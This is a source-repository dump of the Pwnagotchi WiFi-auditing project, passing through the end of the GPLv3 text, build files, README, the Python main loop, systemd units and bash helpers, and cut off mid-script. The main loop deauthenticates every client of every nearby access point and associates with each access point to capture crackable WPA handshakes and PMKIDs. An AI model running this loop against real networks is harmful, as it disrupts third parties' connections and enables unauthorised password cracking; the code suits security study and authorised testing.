prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to “keep intact all notices”. * **c)** You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. * **d)** If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an “aggregate” if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. ### 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: * **a)** Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. * **b)** Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. * **c)** Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. * **d)** Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. * **e)** Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A “User Product” is either (1) a “consumer product”, which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, “normally used” refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. “Installation Information” for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. ### 7. Additional Terms. “Additional permissions” are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: * **a)** Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or * **b)** Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or * **c)** Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or * **d)** Limiting the use for publicity purposes of names of licensors or authors of the material; or * **e)** Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or * **f)** Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered “further restrictions” within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. ### 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. ### 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. ### 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An “entity transaction” is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. ### 11. Patents. A “contributor” is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's “contributor version”. A contributor's “essential patent claims” are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, “control” includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a “patent license” is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To “grant” such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. “Knowingly relying” means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is “discriminatory” if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. ### 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. ### 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. ### 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License “or any later version” applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. ### 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. ### 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. ### 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS ## How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the “copyright” line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type 'show w'. This is free software, and you are welcome to redistribute it under certain conditions; type 'show c' for details. The hypothetical commands 'show w' and 'show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an “about box”. You should also get your employer (if you work as a programmer) or school, if any, to sign a “copyright disclaimer” for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <>. The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <>. ================================================ FILE: MANIFEST.in ================================================ exclude *.pyc .DS_Store .gitignore MANIFEST.in include setup.py include distribute_setup.py include README.md include LICENSE recursive-include bin * recursive-include pwnagotchi *.py recursive-include pwnagotchi *.yml recursive-include pwnagotchi *.* ================================================ FILE: Makefile ================================================ PACKER_VERSION=1.7.2 PWN_HOSTNAME=pwnagotchi PWN_VERSION=master all: clean install image langs: @for lang in pwnagotchi/locale/*/; do\ echo "compiling language: $$lang ..."; \ ./scripts/language.sh compile $$(basename $$lang); \ done install: curl https://releases.hashicorp.com/packer/$(PACKER_VERSION)/packer_$(PACKER_VERSION)_linux_amd64.zip -o /tmp/packer.zip unzip /tmp/packer.zip -d /tmp sudo mv /tmp/packer /usr/bin/packer git clone https://github.com/solo-io/packer-builder-arm-image /tmp/packer-builder-arm-image cd /tmp/packer-builder-arm-image && go get -d ./... && go build sudo cp /tmp/packer-builder-arm-image/packer-builder-arm-image /usr/bin image: cd builder && sudo /usr/bin/packer build -var "pwn_hostname=$(PWN_HOSTNAME)" -var "pwn_version=$(PWN_VERSION)" pwnagotchi.json sudo mv builder/output-pwnagotchi/image pwnagotchi-raspbian-lite-$(PWN_VERSION).img sudo sha256sum pwnagotchi-raspbian-lite-$(PWN_VERSION).img > pwnagotchi-raspbian-lite-$(PWN_VERSION).sha256 sudo zip pwnagotchi-raspbian-lite-$(PWN_VERSION).zip pwnagotchi-raspbian-lite-$(PWN_VERSION).sha256 pwnagotchi-raspbian-lite-$(PWN_VERSION).img clean: rm -rf /tmp/packer-builder-arm-image rm -f pwnagotchi-raspbian-lite-*.zip pwnagotchi-raspbian-lite-*.img pwnagotchi-raspbian-lite-*.sha256 rm -rf builder/output-pwnagotchi builder/packer_cache ================================================ FILE: README.md ================================================

Join the project community on our server!


Release Software License Contributors follow on Twitter

This project is 100% made by humans.

[Pwnagotchi](https://pwnagotchi.ai/) is an [A2C](https://hackernoon.com/intuitive-rl-intro-to-advantage-actor-critic-a2c-4ff545978752)-based "AI" leveraging [bettercap](https://www.bettercap.org/) that learns from its surrounding WiFi environment to maximize the crackable WPA key material it captures (either passively, or by performing authentication and association attacks). This material is collected as PCAP files containing any form of handshake supported by [hashcat](https://hashcat.net/hashcat/), including [PMKIDs](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/), full and half WPA handshakes. ![ui](https://i.imgur.com/X68GXrn.png) Instead of merely playing [Super Mario or Atari games](https://becominghuman.ai/getting-mario-back-into-the-gym-setting-up-super-mario-bros-in-openais-gym-8e39a96c1e41?gi=c4b66c3d5ced) like most reinforcement learning-based "AI" *(yawn)*, Pwnagotchi tunes [its parameters](https://github.com/evilsocket/pwnagotchi/blob/master/pwnagotchi/defaults.toml) over time to **get better at pwning WiFi things to** in the environments you expose it to. More specifically, Pwnagotchi is using an [LSTM with MLP feature extractor](https://stable-baselines.readthedocs.io/en/master/modules/policies.html#stable_baselines.common.policies.MlpLstmPolicy) as its policy network for the [A2C agent](https://stable-baselines.readthedocs.io/en/master/modules/a2c.html). If you're unfamiliar with A2C, here is [a very good introductory explanation](https://hackernoon.com/intuitive-rl-intro-to-advantage-actor-critic-a2c-4ff545978752) (in comic form!) of the basic principles behind how Pwnagotchi learns. (You can read more about how Pwnagotchi learns in the [Usage](https://www.pwnagotchi.ai/usage/#training-the-ai) doc.) **Keep in mind:** Unlike the usual RL simulations, Pwnagotchi learns over time. Time for a Pwnagotchi is measured in epochs; a single epoch can last from a few seconds to minutes, depending on how many access points and client stations are visible. Do not expect your Pwnagotchi to perform amazingly well at the very beginning, as it will be [exploring](https://hackernoon.com/intuitive-rl-intro-to-advantage-actor-critic-a2c-4ff545978752) several combinations of [key parameters](https://www.pwnagotchi.ai/usage/#training-the-ai) to determine ideal adjustments for pwning the particular environment you are exposing it to during its beginning epochs ... but ** listen to your Pwnagotchi when it tells you it's boring!** Bring it into novel WiFi environments with you and have it observe new networks and capture new handshakes—and you'll see. :) Multiple units within close physical proximity can "talk" to each other, advertising their presence to each other by broadcasting custom information elements using a parasite protocol I've built on top of the existing dot11 standard. Over time, two or more units trained together will learn to cooperate upon detecting each other's presence by dividing the available channels among them for optimal pwnage. ## Documentation https://www.pwnagotchi.ai ## Links   | Official Links ---------|------- Website | [pwnagotchi.ai](https://pwnagotchi.ai/) Forum | [community.pwnagotchi.ai](https://community.pwnagotchi.ai/) Slack | [pwnagotchi.slack.com](https://invite.pwnagotchi.ai/) Subreddit | [r/pwnagotchi](https://www.reddit.com/r/pwnagotchi/) Twitter | [@pwnagotchi](https://twitter.com/pwnagotchi) ## License `pwnagotchi` is made with ♥ by [@evilsocket](https://twitter.com/evilsocket) and the [amazing dev team](https://github.com/evilsocket/pwnagotchi/graphs/contributors). It is released under the GPL3 license. ================================================ FILE: bin/pwnagotchi ================================================ #!/usr/bin/python3 import logging import argparse import time import signal import sys import toml import pwnagotchi from pwnagotchi import utils from pwnagotchi.plugins import cmd as plugins_cmd from pwnagotchi import log from pwnagotchi import restart from pwnagotchi import fs from pwnagotchi.utils import DottedTomlEncoder def do_clear(display): logging.info("clearing the display ...") display.clear() sys.exit(0) def do_manual_mode(agent): logging.info("entering manual mode ...") agent.mode = 'manual' agent.last_session.parse(agent.view(), args.skip_session) if not args.skip_session: logging.info( "the last session lasted %s (%d completed epochs, trained for %d), average reward:%s (min:%s max:%s)" % ( agent.last_session.duration_human, agent.last_session.epochs, agent.last_session.train_epochs, agent.last_session.avg_reward, agent.last_session.min_reward, agent.last_session.max_reward)) while True: display.on_manual_mode(agent.last_session) time.sleep(5) if grid.is_connected(): plugins.on('internet_available', agent) def do_auto_mode(agent): logging.info("entering auto mode ...") agent.mode = 'auto' agent.start() while True: try: # recon on all channels agent.recon() # get nearby access points grouped by channel channels = agent.get_access_points_by_channel() # for each channel for ch, aps in channels: agent.set_channel(ch) if not agent.is_stale() and agent.any_activity(): logging.info("%d access points on channel %d" % (len(aps), ch)) # for each ap on this channel for ap in aps: # send an association frame in order to get for a PMKID agent.associate(ap) # deauth all client stations in order to get a full handshake for sta in ap['clients']: agent.deauth(ap, sta) # An interesting effect of this: # # From Pwnagotchi's perspective, the more new access points # and / or client stations nearby, the longer one epoch of # its relative time will take ... basically, in Pwnagotchi's universe, # WiFi electromagnetic fields affect time like gravitational fields # affect ours ... neat ^_^ agent.next_epoch() if grid.is_connected(): plugins.on('internet_available', agent) except Exception as e: if str(e).find("wifi.interface not set") > 0: logging.exception("main loop exception due to unavailable wifi device, likely programmatically disabled (%s)", e) logging.info("sleeping 60 seconds then advancing to next epoch to allow for cleanup code to trigger") time.sleep(60) agent.next_epoch() else: logging.exception("main loop exception (%s)", e) if __name__ == '__main__': parser = argparse.ArgumentParser() parser = plugins_cmd.add_parsers(parser) parser.add_argument('-C', '--config', action='store', dest='config', default='/etc/pwnagotchi/default.toml', help='Main configuration file.') parser.add_argument('-U', '--user-config', action='store', dest='user_config', default='/etc/pwnagotchi/config.toml', help='If this file exists, configuration will be merged and this will override default values.') parser.add_argument('--manual', dest="do_manual", action="store_true", default=False, help="Manual mode.") parser.add_argument('--skip-session', dest="skip_session", action="store_true", default=False, help="Skip last session parsing in manual mode.") parser.add_argument('--clear', dest="do_clear", action="store_true", default=False, help="Clear the ePaper display and exit.") parser.add_argument('--debug', dest="debug", action="store_true", default=False, help="Enable debug logs.") parser.add_argument('--version', dest="version", action="store_true", default=False, help="Print the version.") parser.add_argument('--print-config', dest="print_config", action="store_true", default=False, help="Print the configuration.") args = parser.parse_args() if plugins_cmd.used_plugin_cmd(args): config = utils.load_config(args) log.setup_logging(args, config) rc = plugins_cmd.handle_cmd(args, config) sys.exit(rc) if args.version: print(pwnagotchi.__version__) sys.exit(0) config = utils.load_config(args) if args.print_config: print(toml.dumps(config, encoder=DottedTomlEncoder())) sys.exit(0) from pwnagotchi.identity import KeyPair from pwnagotchi.agent import Agent from pwnagotchi.ui import fonts from pwnagotchi.ui.display import Display from pwnagotchi import grid from pwnagotchi import plugins pwnagotchi.config = config fs.setup_mounts(config) log.setup_logging(args, config) fonts.init(config) pwnagotchi.set_name(config['main']['name']) plugins.load(config) display = Display(config=config, state={'name': '%s>' % pwnagotchi.name()}) if args.do_clear: do_clear(display) sys.exit(0) agent = Agent(view=display, config=config, keypair=KeyPair(view=display)) def usr1_handler(*unused): logging.info('Received USR1 singal. Restart process ...') restart("MANU" if args.do_manual else "AUTO") signal.signal(signal.SIGUSR1, usr1_handler) if args.do_manual: do_manual_mode(agent) else: do_auto_mode(agent) ================================================ FILE: builder/data/etc/bash_completion.d/pwnagotchi_completion.sh ================================================ _show_complete() { local cur opts node_names all_options opt_line all_options=" pwnagotchi -h --help -C --config -U --user-config --manual --skip-session --clear --debug --version --print-config {plugins} pwnagotchi plugins -h --help {list,install,enable,disable,uninstall,update,upgrade} pwnagotchi plugins list -i --installed -h --help pwnagotchi plugins install -h --help pwnagotchi plugins uninstall -h --help pwnagotchi plugins enable -h --help pwnagotchi plugins disable -h --help pwnagotchi plugins update -h --help pwnagotchi plugins upgrade -h --help " COMPREPLY=() cur="${COMP_WORDS[COMP_CWORD]}" cmd="${COMP_WORDS[@]:0:${#COMP_WORDS[@]}-1}" opt_line="$(grep -m1 "$cmd" <<<$all_options)" if [[ ${cur} == -* ]] ; then opts="$(echo $opt_line | tr ' ' '\n' | awk '/^ *-/{gsub("[^a-zA-Z0-9-]","",$1);print $1}')" COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) ) return 0 fi opts="$(echo $opt_line | grep -Po '{\K[^}]+' | tr ',' '\n')" COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) ) } complete -F _show_complete pwnagotchi ================================================ FILE: builder/data/etc/network/interfaces.d/eth0-cfg ================================================ allow-hotplug eth0 iface eth0 inet dhcp ================================================ FILE: builder/data/etc/network/interfaces.d/lo-cfg ================================================ auto lo iface lo inet loopback ================================================ FILE: builder/data/etc/network/interfaces.d/usb0-cfg ================================================ allow-hotplug usb0 iface usb0 inet static address 10.0.0.2 netmask 255.255.255.0 network 10.0.0.0 broadcast 10.0.0.255 gateway 10.0.0.1 metric 20 ================================================ FILE: builder/data/etc/network/interfaces.d/wlan0-cfg ================================================ allow-hotplug wlan0 iface wlan0 inet static ================================================ FILE: builder/data/etc/systemd/system/bettercap.service ================================================ [Unit] Description=bettercap api.rest service. Documentation=https://bettercap.org Wants=network.target [Service] Type=simple PermissionsStartOnly=true ExecStart=/usr/bin/bettercap-launcher Restart=always RestartSec=30 [Install] WantedBy=multi-user.target ================================================ FILE: builder/data/etc/systemd/system/pwnagotchi.service ================================================ [Unit] Description=pwnagotchi Deep Reinforcement Learning instrumenting bettercap for WiFI pwning. Documentation=https://pwnagotchi.ai Wants=network.target After=pwngrid-peer.service [Service] Type=simple WorkingDirectory=/tmp PermissionsStartOnly=true ExecStart=/usr/bin/pwnagotchi-launcher Restart=always RestartSec=30 TasksMax=infinity LimitNPROC=infinity StandardOutput=null StandardError=null [Install] WantedBy=multi-user.target ================================================ FILE: builder/data/etc/systemd/system/pwngrid-peer.service ================================================ [Unit] Description=pwngrid peer service. Documentation=https://pwnagotchi.ai Wants=network.target After=bettercap.service [Service] Type=simple PermissionsStartOnly=true ExecStart=/usr/bin/pwngrid -keys /etc/pwnagotchi -address 127.0.0.1:8666 -client-token /root/.api-enrollment.json -wait -log /var/log/pwngrid-peer.log -iface mon0 Restart=always RestartSec=30 [Install] WantedBy=multi-user.target ================================================ FILE: builder/data/usr/bin/bettercap-launcher ================================================ #!/usr/bin/env bash source /usr/bin/pwnlib # we need to decrypt something if is_crypted_mode; then while ! is_decrypted; do echo "Waiting for decryption..." sleep 1 done fi # check if wifi driver is bugged if ! check_brcm; then if ! reload_brcm; then echo "Could not reload wifi driver. Reboot" reboot fi sleep 10 fi # start mon0 start_monitor_interface if is_auto_mode_no_delete; then /usr/bin/bettercap -no-colors -caplet pwnagotchi-auto -iface mon0 else /usr/bin/bettercap -no-colors -caplet pwnagotchi-manual -iface mon0 fi ================================================ FILE: builder/data/usr/bin/decryption-webserver ================================================ #!/usr/bin/env python3 from http.server import HTTPServer, BaseHTTPRequestHandler from urllib.parse import parse_qsl _HTML_FORM_TEMPLATE = """ Decryption

Decryption

Some of your files are encrypted.

Please provide the decryption password.

{password_fields}
""" POST_RESPONSE = """
""" HTML_FORM = None class SimpleHTTPRequestHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.end_headers() self.wfile.write(HTML_FORM.encode()) def do_POST(self): content_length = int(self.headers['Content-Length']) body = self.rfile.read(content_length) for mapping, password in parse_qsl(body.decode('UTF-8')): with open('/tmp/.pwnagotchi-secret-{}'.format(mapping), 'wt') as pwfile: pwfile.write(password) self.send_response(200) self.end_headers() self.wfile.write(POST_RESPONSE.encode()) with open('/root/.pwnagotchi-crypted') as crypted_file: mappings = [line.split()[0] for line in crypted_file.readlines()] fields = ''.join(['\n
'.format(m=m) for m in mappings]) HTML_FORM = _HTML_FORM_TEMPLATE.format(password_fields=fields) httpd = HTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler) httpd.serve_forever() ================================================ FILE: builder/data/usr/bin/hdmioff ================================================ #!/usr/bin/env bash sudo /opt/vc/bin/tvservice -o ================================================ FILE: builder/data/usr/bin/hdmion ================================================ #!/usr/bin/env bash sudo /opt/vc/bin/tvservice -p ================================================ FILE: builder/data/usr/bin/monstart ================================================ #!/usr/bin/env bash source /usr/bin/pwnlib start_monitor_interface ================================================ FILE: builder/data/usr/bin/monstop ================================================ #!/usr/bin/env bash source /usr/bin/pwnlib stop_monitor_interface ================================================ FILE: builder/data/usr/bin/pwnagotchi-launcher ================================================ #!/usr/bin/env bash source /usr/bin/pwnlib # we need to decrypt something if is_crypted_mode; then while ! is_decrypted; do echo "Waiting for decryption..." sleep 1 done fi # blink 10 times to signal ready state blink_led 10 & if is_auto_mode; then /usr/local/bin/pwnagotchi else /usr/local/bin/pwnagotchi --manual fi ================================================ FILE: builder/data/usr/bin/pwnlib ================================================ #!/usr/bin/env bash # well ... it blinks the led blink_led() { for i in $(seq 1 "$1"); do echo 0 >/sys/class/leds/led0/brightness sleep 0.3 echo 1 >/sys/class/leds/led0/brightness sleep 0.3 done echo 0 >/sys/class/leds/led0/brightness sleep 0.3 } # check if brcm is stuck check_brcm() { if [[ "$(journalctl -n10 -k --since -5m | grep -c 'brcmf_cfg80211_nexmon_set_channel.*Set Channel failed')" -ge 5 ]]; then return 1 fi return 0 } # reload mod reload_brcm() { if ! modprobe -r brcmfmac; then return 1 fi if ! modprobe brcmfmac; then return 1 fi return 0 } # starts mon0 start_monitor_interface() { iw phy "$(iw phy | head -1 | cut -d" " -f2)" interface add mon0 type monitor && ifconfig mon0 up } # stops mon0 stop_monitor_interface() { ifconfig mon0 down && iw dev mon0 del } # returns 0 if the specificed network interface is up is_interface_up() { if grep -qi 'up' /sys/class/net/$1/operstate; then return 0 fi return 1 } # returns 0 if conditions for AUTO mode are met is_auto_mode() { # check override file first if [ -f /root/.pwnagotchi-manual ]; then # remove the override file if found rm -rf /root/.pwnagotchi-manual return 1 fi # check override file first if [ -f /root/.pwnagotchi-auto ]; then # remove the override file if found rm -rf /root/.pwnagotchi-auto return 0 fi # if usb0 is up, we're in MANU if is_interface_up usb0; then return 1 fi # if eth0 is up (for other boards), we're in MANU if is_interface_up eth0; then return 1 fi # no override, but none of the interfaces is up -> AUTO return 0 } # returns 0 if conditions for AUTO mode are met is_auto_mode_no_delete() { # check override file first if [ -f /root/.pwnagotchi-manual ]; then return 1 fi # check override file first if [ -f /root/.pwnagotchi-auto ]; then return 0 fi # if usb0 is up, we're in MANU if is_interface_up usb0; then return 1 fi # if eth0 is up (for other boards), we're in 